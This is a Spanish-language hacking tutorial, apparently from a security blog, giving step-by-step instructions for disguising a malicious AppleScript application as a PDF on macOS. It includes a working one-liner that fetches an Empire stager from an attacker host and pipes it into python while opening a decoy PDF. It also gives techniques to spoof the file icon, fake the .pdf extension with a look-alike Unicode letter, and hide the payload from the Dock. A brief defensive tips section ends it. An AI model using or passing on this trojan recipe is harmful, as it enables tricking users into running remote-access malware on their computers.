BlogCyber Weapons Lab

Hackear macOS: cómo crear un troyano PDF falso con AppleScript, parte 2 (disfrazar el script)

Con el stager de macOS creado y el sistema del atacante que aloja el oyente Empire, el AppleScript malicioso se puede diseñar y disfrazar para que aparezca como un PDF legítimo utilizando algunos trucos de manipulación de iconos y Unicode.

Se requiere un PDF real para que el ataque funcione. Los archivos de más de 1 MB de tamaño serían demasiado grandes y podrían hacer que el objetivo sospeche. El PDF real se descargará cada vez que el objetivo abra el AppleScript troyanizado (el PDF falso), por lo que el PDF real debe tener solo una página y ser lo suficientemente pequeño para descargarse rápidamente. De lo contrario, el objetivo podría comenzar a preguntarse por qué el PDF tarda unos segundos en cargarse en Vista previa cuando debería ser instantáneo.

En este seguimiento de la primera parte sobre la creación de un PDF malicioso para MacBooks, mostraré cómo crear rápidamente un PDF utilizando el cubrir de una guía de estudio de CompTIA que se encuentra en AllITebooks, pero se debe utilizar una imagen de mayor calidad durante un escenario real.

Paso 1: copia una imagen de portada en PDF

En su navegador web, navegue hasta un sitio que tenga el PDF que se va a clonar. En mi ejemplo, esa es la Guía de estudio de CompTIA en AllITebooks. En realidad, no necesita descargar el archivo PDF, solo necesita la primera imagen que aparece en la vista previa, así que haga clic derecho en ella, seleccione “Guardar imagen como”, luego “Guardar” con el nombre cover.jpg en el directorio archivos /.

Paso 2: Instale GIMP y abra la imagen

Para manipular la imagen de portada del PDF, necesitaremos GIMP, una popular aplicación de manipulación de imágenes que es totalmente gratuita. Para instalarlo, use el apt-get comando a continuación.

~# apt-get update && apt-get install gimp

Hit:1 https://packages.microsoft.com/repos/microsoft-debian-stretch-prod stretch InRelease
Hit:2 http://kali.download/kali kali-rolling InRelease
Reading package lists... Done
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following packages were automatically installed and are no longer required:
  dh-python libcodec2-0.8.1 libcrystalhd3 libdouble-conversion1 liblinear3
  libmysofa0 libtasn1-doc libwireshark11 libwiretap8 libwscodecs2 libwsutil9
Use 'apt autoremove' to remove them.
The following additional packages will be installed:
  gimp-data libamd2 libavcodec58 libavfilter7 libavformat58 libavresample4
  libavutil56 libbabl-0.1-0 libcamd2 libccolamd2 libcholmod3 libcodec2-0.9
  libcolamd2 libgegl-0.4-0 libgegl-common libgimp2.0 libheif1 libilmbase24
  libjson-c4 libmetis5 libmypaint-1.5-1 libmypaint-common libmysofa1 libopenexr24
  libpostproc55 libraw19 librubberband2 libsdl2-2.0-0 libsuitesparseconfig5
  libswresample3 libswscale5 libumfpack5 libvpx6 libwebpmux3 libx265-179

...

Setting up gimp (2.10.14-3) ...
Processing triggers for mime-support (3.62) ...
Processing triggers for hicolor-icon-theme (0.17-2) ...
Processing triggers for gnome-menus (3.31.4-3) ...
Processing triggers for libc-bin (2.30-2) ...
Processing triggers for man-db (2.8.5-2) ...
Processing triggers for desktop-file-utils (0.23-4) ...
root@kali:~#

Una vez instalado, abra cover.jpg en GIMP con el siguiente comando.

~# gimp cover.jpg

Paso 3: exporta la imagen de portada como PDF

A continuación, exporte la imagen al directorio de archivos / navegando a “Archivo” y luego a “Exportar como”. Cambie el nombre del archivo a real.pdf y el tipo de archivo a “Formato de documento portátil (* .pdf)”.

Paso 4: cambia el tamaño del lienzo

Iconos de manzana deber ser cuadrados perfectamente simétricos y el cover.jpg es rectangular. Para solucionar esto, navegue hasta el botón “Imagen” en GIMP, luego edite el “Tamaño del lienzo”.

Cambiar el Ancho para que coincida con el Alturay haga clic en “Cambiar tamaño” para guardar los cambios. El nuevo lienzo mostrará una tonelada de espacio transparente en el lado derecho de la imagen. Para centrar la imagen, use la herramienta “Alinear” que se encuentra en “Herramientas”, luego “Herramientas de transformación”.

Luego, haga clic izquierdo una vez en la imagen para seleccionarla y haga clic en el botón “Alinear centro”. Observe que el espacio transparente está uniforme en ambos lados de la foto de portada ahora, como se ve a continuación.

Paso 5: cambiar el tamaño de la imagen

Ahora, cambie el tamaño de la imagen navegando a “Imagen”, luego a “Escalar imagen”, luego cambie el Ancho y Altura para 256 píxeles.

Paso 6: exporta la imagen de portada en formato PNG

Exporta la imagen nuevamente al directorio de archivos / navegando a “Archivo”, luego “Exportar como”. Cambie el nombre del archivo a cover.png y el tipo de archivo a “Imagen PNG (* .png)”.

Paso 7: convertir a formato ICNS

El último paso para las imágenes es convertir el cover.png en Formato de archivo de icono ICNS de Apple. Esto se puede hacer subiendo el cover.png a cloudconvert y haciendo clic en el botón “Iniciar conversión”.

Cuando finalice la conversión, descargue y guarde el archivo .icns en el directorio files /. Ahora debería haber cuatro archivos en el directorio files / (puede verificar con ls).

~# cd files
~/files# ls

cover.icns  cover.jpg   cover.png   real.pdf

El cover.jpg y cover.png se utilizaron como plantillas y ya no son necesarias. El real.pdf es un pequeño PDF que el destino descargará cada vez que se abra AppleScript (el PDF falso). El cover.icns es el archivo de icono de Apple que se utilizará en un paso posterior.

Eso es todo para el final de Kali Linux. Para crear el AppleScript malicioso (PDF falso), usaré Editor de guiones en macOS High Sierra.

Paso 8: cree el AppleScript

Debería ser posible crear AppleScripts con troyanos usando Kali, pero es un poco más complicado de lo que permite este artículo. Para simplificar las cosas, usaré macOS con AppleScript versión 2.7 y Script Editor versión 2.10. Si los lectores desean un método completo de Kali Linux, dejen un comentario a continuación y veré qué puedo hacer.

Para comenzar, copie el PDF real que se clonará en el escritorio de macOS. Esto permitirá al atacante ver una comparación lado a lado mientras crea el PDF falso.

Luego, busque y abra el editor de scripts integrado de Apple desde Spotlight, Launchpad o la carpeta “Utilidades” en “Aplicaciones”, luego copie el siguiente script en la ventana. Este es el AppleScript de una sola línea que se ejecutará en el MacBook de la víctima cuando se haga doble clic en el PDF falso.

do shell script "s=ATTACKER-IP-ADDRESS:PORT; curl -s $s/real.pdf | open -f -a Preview.app & curl -s $s/script | python -"
  • El inicio del guión (hacer script de shell) es el AppleScript que indica al MacBook que ejecute el siguiente código.
  • El servidor del atacante se establece como una variable (s =DIRECCIÓN IP DEL ATACANTE: PUERTO), y debe cambiarse a la dirección IP local del atacante. Por ejemplo, s = 192.16.0.14: 8080.
  • Se descarga el PDF real ( curl -s $ s / real.pdf) desde el servidor del atacante, canalizado (|) y abierto (open -f -a Preview.app) utilizando la aplicación macOS Preview.
  • Por último, se descarga el Empire stager, guardado como “script” en el servidor del atacante (& curl -s $ s / script | pitón –) y se ejecuta con Python en la MacBook de la víctima.

A continuación, haga clic en “Archivo” en la barra de menú, luego en “Exportar” para comenzar a guardar el AppleScript.

Exportar al escritorio usando el nombre del archivo falso, cambiar el Formato de archivo a “Aplicación” y desmarque “Mostrar pantalla de inicio”.

Hablando funcionalmente, el PDF falso se comporta según lo previsto. Pero mirando los dos archivos uno al lado del otro ahora, todavía hay mucho trabajo por hacer para que parezca el PDF real de la izquierda.

Paso 9: cambie el icono

Como se ve en GIF arriba, para el archivo real.pdf, macOS generalmente usará la primera página del PDF para generar el ícono del archivo. Esto, por supuesto, se puede falsificar fácilmente utilizando los .icns creados anteriormente. Para cambiar el icono, mueva el archivo cover.icns del sistema Kali al MacBook, haga clic derecho en el falso archivo, luego seleccione “Obtener información”.

A continuación, arrastre y suelte el archivo cover.icns en fake Info ventana para cambiar el icono.

El AppleScript comienza a parecerse más al PDF real. Con un poco de paciencia, el pliegue en la esquina superior derecha del ícono, el sombreado alrededor del ícono y los anillos de carpeta se pueden falsificar fácilmente usando GIMP y otros trucos del editor de fotos. Los detalles de seguir falsificando la foto de portada son un poco tediosos, así que seguiré adelante, ya entiendes la idea.

Paso 10: falsificar la extensión del archivo con Unicode

El mayor problema es el nombre del archivo. Idealmente, se desea un AppleScript con una extensión de archivo PDF. Pero cambiar la extensión del archivo a .pdf hace que macOS muestre los AppleScripts cierto extensión de archivo.

Como se vio anteriormente, macOS agrega automáticamente la extensión .app. Una forma de obtener una extensión de archivo convincente es utilizar Unicode, un estándar de codificación de caracteres, que proporciona una número único para cada personaje.

Unicode “U + 1E0B” es la letra minúscula latina D con un punto encima y, de un vistazo, aparece exactamente como un carácter “d” normal.

Copiando este personaje de la Página de Wikipedia y pegarlo en el nombre del archivo AppleScript crea una extensión de archivo mucho más convincente.

De un vistazo, esta diferencia podría confundirse fácilmente con una muestra de polvo. Tras una inspección mucho más cercana, la diferencia en la “d” latina es más obvia.

Este es solo uno de los muchos caracteres Unicode disponibles que se pueden usar para tales ataques de suplantación de extensiones y otros tipos de ataques.

Paso 11: Ocultar la secuencia de comandos de Python del Dock

Otro problema que encontré al usar AppleScripts de esta manera, el Dock muestra dos elementos nuevos después de que se ha ejecutado el script.

Un icono representa la vista previa que muestra el PDF real, el otro icono representa el script Python malicioso que se ejecutó en segundo plano. Para resolver esto, haga clic con el botón derecho en el archivo fake.pdf y luego en “Mostrar contenido del paquete”.

Navegue hasta el directorio “Contenido” y abra el archivo “Info.plist” en TextEdit. Agregue lo siguiente NSUIElement texto al archivo Info.plist.

<key>NSUIElement</key>
<string>1</string>

Así es como debería verse en TextEdit:

Abrir el PDF falso ya no generará dos íconos en el dock de macOS.

Cómo protegerse contra los ataques de AppleScript

Si desea asegurarse de no ser víctima de la apertura de un PDF malicioso como este en su MacBook u otra computadora Mac, hay algunas cosas obvias que puede hacer para que estas cargas útiles de AppleScript sean más notorias.

  • No haga doble clic en los archivos. Siempre es mejor elegir explícitamente qué programa usar al abrir archivos. Haga clic con el botón derecho en el archivo deseado y elija manualmente una aplicación en el menú “Abrir con”.
  • Mostrar todas las extensiones de nombre de archivo. Este truco Unicode se probó contra High Sierra con la configuración predeterminada del Finder donde “Mostrar todas las extensiones de nombre de archivo” estaba deshabilitado de forma predeterminada. Para habilitar esta configuración, navegue hasta “Finder” en la barra de menú, luego “Preferencias” y marque la opción en la pestaña “Avanzado”.

Habrá más por venir en mi serie de hackeo de macOS. En los próximos artículos, exploraré los vectores para entregar los archivos fake.pdf a usuarios desprevenidos de macOS, registradores de pulsaciones de teclas posteriores a la explotación, descarga de contraseñas de llaveros, captura de pantalla a través de la cámara web y mucho más. Mi épica búsqueda para desacreditar el mito de que macOS es más seguro que Windows 10 aún no ha terminado.

Imagen de portada de Fotos de archivo de inicio / PEXELS; Capturas de pantalla y GIF de tokyoneon / Null Byte

Publicaciones relacionadas

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Botón volver arriba
Cerrar